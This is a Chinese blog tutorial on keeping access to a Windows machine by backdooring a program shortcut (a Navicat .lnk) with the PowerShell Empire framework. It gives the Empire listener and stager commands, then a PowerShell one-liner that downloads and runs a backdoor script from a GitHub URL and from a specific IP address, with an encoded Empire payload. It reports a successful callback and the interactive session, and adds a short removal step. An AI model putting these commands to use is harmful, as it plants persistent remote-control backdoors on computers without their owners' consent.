Empire之link后门维持权限

最新推荐文章于 2022-04-05 14:08:48 发布
最新推荐文章于 2022-04-05 14:08:48 发布
阅读量702 收藏
点赞数
分类专栏： 后门技巧 文章标签： 后门技巧
我希望自己永远怀着一颗学习的心！
本文链接：https://blog.csdn.net/q1352483315/article/details/100826406
版权

1.进入empire

./reset.sh

在这里插入图片描述

2、进去listeners设置监听器

(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Name lnk
(Empire: listeners/http) > execute

在这里插入图片描述

(Empire) > usestager
(Empire) > usestager windows/dll
(Empire: stager/windows/dll) > set Listener lnk

3、生成payload

(Empire: agents) > listeners
(Empire: listeners) > launcher powershell lnk

在这里插入图片描述

4、安装lnk后门
这里我安装的后门在navicat上所以我需要找到navicai的快捷方式的路径

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PremiumSoft\Navicat Premium 12.lnk

在这里插入图片描述
然后我们把上面生成的payload所要执行的的代码（就是参数-enc之后的代码复制起来）
放到这段payload中我们所要利用的powershell lnk后门的模块

powershell -nop -execbypass -c "IEX (New-ObjectNet.WebClient).DownloadString('https://github.com/EmpireProject/Empire/raw/master/data/module_source/persistence/Invoke-BackdoorLNK.ps1');;Invoke-BackdoorLNK -LNKPath  快捷方式的路径 -EncScript empire中生成的-enc后门的代码

实例：

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://120.79.66.58:81/Invoke-BackdoorLNK.ps1');Invoke-BackdoorLNK -LNKPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\PremiumSoft\Navicat Premium 12.lnk' -EncScript SQBmACgAJABQAFMAVgBlAFIAcwBJAE8ATgBUAEEAYgBsAEUALgBQAFMAVgBFAHIAcwBJAG8ATgAuAE0AYQBKAG8AUgAgAC0ARwBlACAAMwApAHsAJABHAFAARgA9AFsAUgBlAEYAXQAuAEEAUwBzAGUAbQBiAEwAeQAuAEcAZQB0AFQAWQBQAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBVAHQAaQBsAHMAJwApAC4AIgBHAGUAVABGAEkARQBgAEwAZAAiACgAJwBjAGEAYwBoAGUAZABHAHIAbwB1AHAAUABvAGwAaQBjAHkAUwBlAHQAdABpAG4AZwBzACcALAAnAE4AJwArACcAbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApADsASQBmACgAJABHAFAARgApAHsAJABHAFAAQwA9ACQARwBQAEYALgBHAEUAVABWAEEATABVAEUAKAAkAE4AdQBMAGwAKQA7AEkARgAoACQARwBQAEMAWwAnAFMAYwByAGkAcAB0AEIAJwArACcAbABvAGMAawBMAG8

然后再去运行快捷方式的navicat发现反弹成功
在这里插入图片描述

5、进入会话 S892DF5C

(Empire: listeners) > agents
(Empire: agents) > interact S892DF5C

在这里插入图片描述

删除后门
1、找到注册表中：HKCU\Software\Microsoft\Windows\debug
在这里插入图片描述
2、删除debug
在这里插入图片描述

参考文章：
https://www.freebuf.com/articles/network/133640.html

小鱼儿waha
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
windows10与kail Linux系统 利用Empire实现《永生之火》后门技巧利用
ClearLove的博客
07-31 778
注意:window10来实现本功能会有个坑,导致无法实现,文章后半部分会提到 1.Empire介绍 Empire是一个纯碎的PowerShell后期漏洞利用代理工具，它建立在密码学、安全通信和灵活的架构之上。Empire实现了无需powershell.exe就可运行PowerShell代理的功能。快速部署后期漏洞利用模块，从键盘记录器到Mimikatz，并且能够适应通信躲避网络检测，所有的这些...
empire框架2022最新版本
06-28
Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。 Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在...
权限维持(什么是后门?如何留后门?)-Windows篇 (ﾟ益ﾟメ) 渗透测试
寻觅的博客
09-12 2044
来看看如何做开机自启!我们渗透一定要持久!
Empire4.2使用-第一篇（安装、基础命令、监听器、后门生成）
Love&Share
12-13 2469
文章目录Empire4安装方法安装报错处理基本使用基础命令监听器生成后门launcher_bat木马连接主机&利用 Empire4 Empire是一款针对Windows平台的、使用Powershell脚本作为攻击载荷的渗透攻击框架工具，具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powshell.exe就可运行Powershell代理的功能，还可以快速在后期部署漏洞利用模块，其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等，使用能够躲避内网检测喝大部分.
后渗透测试神器Empire的详解
热门推荐
Fly_鹏程万里
06-04 1万+
1. Empire简介官网介绍如下：Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents...
后渗透神器Empire的简单使用
weixin_30279751的博客
03-16 1768
1、安装 1.1、系统环境： Debian系Linux：例如Ubuntu和Kali（本文使用Kali作为环境） 1.2、安装命令： 安装最后需要输入用户名、密码 wget https://raw.githubusercontent.com/backlion/demo/master/Empire-master.zip unzip Empire-master.zip cd Empire-m...
empire-web:PowerShell Empire Web界面
05-14
运行Empire REST API服务器获取PowerShell Empire： : ./empire --rest --restport <port> --username <empire> --password <empire> 例如： ./empire --rest --restport 1337 --username admin --password 3mpir3...
Empire学习笔记.pdf
09-25
配合上一篇Empire知识点梳理食用更佳喔
Starkiller:Starkiller是PowerShell Empire的前端
03-20
星际杀手 Starkiller是的前端。它是用VueJS编写的Electron应用程序。如果您想贡献，请遵循。如果您想请求功能或报告错误，请按照。 赞助商 入门 要运行Starkiller，可以在“页面上下载Mac，Linux和Windows的安装程序...
Empire知识点梳理
09-25
Empire笔记、思维导图
安装黑苹果必备的引导文件empireEFIv1085.iso
01-05
安装黑苹果必备的引导文件（empireEFIv1085.iso）。在安装的macos时候，先加载empireEFIv1085.iso，然后再加载转换好的iso系统文件。
DeathStar：使用Empire（https：//github.comBC-SECURITYEmpire）RESTful API在Active Directory环境中使用一些最常见的攻击性TTP自动获取域和/或企业管理员权限
02-06
死亡之星 DeathStar是一个Python脚本，它使用RESTful API在Active Directory环境中使用一些最常见的攻击性TTP自动获得域和/或企业管理员权限。 赞助商 目录 动机 创建此行为的主要动机是演示如何将许多常用的Active Directory错误配置链接在一起，以自动方式（类似于蠕虫）获得管理员级别的特权。 虽然肯定还有很多事情可以利用（包括服务器端漏洞，例如MS17-010），但DeathStar主要致力于利用配置错误/漏洞，这些错误极有可能导致任何类型的系统/网络稳定性问题。 0.2.0版是对原始版本的完整重写，实现了一个（还有许多），如果需要，任何
14、域渗透神器Empire安装和简单使用
Fly_鹏程万里
06-14 6605
1. Empire简介Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents withou...
Web安全攻防渗透测试
m0_63223219的博客
04-05 6731
1. Nmap的基本 Nmap + ip 6+ ip Nmap -A 开启操作系统识别和版本识别功能 – T（0-6档） 设置扫描的速度 一般设置T4 过快容易被发现 -v 显示信息的级别，-vv显示更详细的信息 192.168.1.1/24 扫描C段 192.168.11 -254 =上 nmap -A -T4 -v -iL ~/targets.txt (iL表示要扫描的目标位于一个文档中) --------------- 192.168.1.1/24 ...
遭遇beep.sys/Backdoor.Win32.Agent,DOVA/Backdoor.Win32.Hupigon,myRAT.rmvb/Trojan.Win32.Delf等2
caobihole
06-22 353
遭遇beep.sys/Backdoor.Win32.Agent,DOVA/Backdoor.Win32.Hupigon,myRAT.rmvb/Trojan.Win32.Delf等2 endurer 原创 2008-06-22 第1版 (继1) 到 http://purpleendurer.ys168.com 下载 FileInfo 和 bat_do。 用FileInfo 提取 pe_x...
黑客雇佣组织开发出新型的Windows 隐秘后门
smellycat000的专栏
12-04 442
聚焦源代码安全，网罗国内外最新资讯！编译：奇安信代码卫士团队卡巴斯基公司的研究员发现了此前未出现过的且由黑客雇佣组织 DeathStalker 开发的 Windows PowerShe...
从恶意程序对LNK格式的利用方法看防护趋势
KD的疯狂实验室
08-25 1890
LNK文件简介#LNK在恶意程序中的利用方式*1曾经的LNK漏洞*2隐藏链接真实对象*3辅助恶意程序运行#博弈趋势利用移动存储设备进行传播的恶意程序与杀软博弈趋势分析
在线扫描php后门_解密php webshell后门
weixin_42400643的博客
03-09 483
仅将此文献给还在为别人的webshell做出贡献的同学。拿下一个网站后，理所当然的传webshll，提权。但是一些人会在webshell中插入小小的一段代码，这样你辛苦拿下的webshell的地址和密码等等就会统统发送给在webshell插后门的人。这段代码可大可小，下面是我随便找的一个phpwebshell，来解密一下其中的后门。首先是用记事本打开这个webshell，可以看到，这个shell的...
内网渗透之权限维持
welcome.php
06-08 1780
这里写目录标题1介绍2普通权限3高级权限 1介绍 2普通权限 3高级权限 1
通过list<Empire*>::iterator访问Empire的成员
最新发布
06-11
可以通过迭代器(*iterator)来访问Empire的成员，然后使用成员访问运算符(.)或箭头运算符(->)来访问Empire的成员变量或成员函数。 以下是一个示例代码： ```c++ #include <iostream> #include <list> using namespace std; class Empire { public: Empire(int id, const QString& name) : m_id(id), m_name(name) {} void printInfo() { cout << "Empire ID: " << m_id << ", Name: " << m_name.toStdString() << endl; } private: int m_id; QString m_name; }; int main() { list<Empire*> empireList; empireList.push_back(new Empire(1, "Empire 1")); empireList.push_back(new Empire(2, "Empire 2")); // 使用迭代器访问Empire的成员 for (list<Empire*>::iterator it = empireList.begin(); it != empireList.end(); ++it) { // 访问Empire的成员变量 cout << "Empire ID: " << (*it)->m_id << ", Name: " << (*it)->m_name.toStdString() << endl; // 调用Empire的成员函数 (*it)->printInfo(); } // 释放内存 for (list<Empire*>::iterator it = empireList.begin(); it != empireList.end(); ++it) { delete *it; } empireList.clear(); return 0; } ``` 以上代码创建了一个Empire指针的列表，然后使用迭代器访问列表中的Empire对象。在迭代器访问Empire指针时，需要使用箭头运算符(->)来访问Empire对象的成员变量和成员函数。注意要遍历完列表后，释放Empire对象的内存。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值